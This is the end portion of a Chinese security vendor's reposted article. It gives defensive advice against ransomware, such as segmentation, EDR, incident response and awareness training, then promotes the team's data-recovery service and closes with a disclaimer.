除了密码之外,添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段,将关键系统与普通网络隔离开,防止勒索病毒在局域网内扩散。
对于重要的业务系统,采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应(EDR)
使用防病毒软件和防勒索软件,及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案,以监测和响应异常活动,迅速隔离感染设备,防止病毒扩散。
8.建立并测试应急响应计划
制定详细的应急响应计划,明确在勒索攻击发生时的应对步骤。
定期演练,测试该计划的可操作性,并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统(IDS)和入侵防御系统(IPS),识别和阻断异常流量。
监控网络流量日志,以便在勒索病毒传播的早期阶段及时发现异常。
6.2 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
6.3 全员安全意识增强调优
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
线下培训与宣贯:采用面授形式,通过系统化的课程安排,确保全员深入理解网络安全的核心概念和防护措施。
线上替代方案
分发学习材料:在无法组织线下培训的情况下,可以提供安全意识培训材料,由各级管理层分发,鼓励员工自主学习。
线上培训会议:组织线上集体学习会,安排网络安全专家进行远程培训,确保人员得到充分指导和答疑。
我司自主研发的知行网络安全教育平台结合多种培训方式的组合,灵活应对不同场景,确保每位员工具备扎实的网络安全意识与技能。
知行网络安全教育平台
视频学习功能
AI助教功能
题目练习功能
自主练习功能
7.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。
同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。
团队也先后通过了科技型中小企业、创新型中小企业认证、ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
More
8.数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了”免费售前+安心保障+专业恢复+安全防御”一体化的专业服务流程。
① 免费咨询/数据诊断分析
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。
点击关注下方名片进入公众号 了解更多
更多资讯 扫码加入群组交流
喜欢此内容的人还喜欢
【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目
索勒安全团队
【病毒分析】RansomHub:唯一不攻击中国的2024全球Top1勒索家族——ESXi加密器深度解析
索勒安全团队
【文章转载】Rockstar 2FA:PaaS)平台如何绕过多因素认证,威胁加剧
#
索勒安全团队
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:solar应急响应团队 索勒安全团队《【病毒分析】Mallox勒索家族新版本:加密算法全面解析》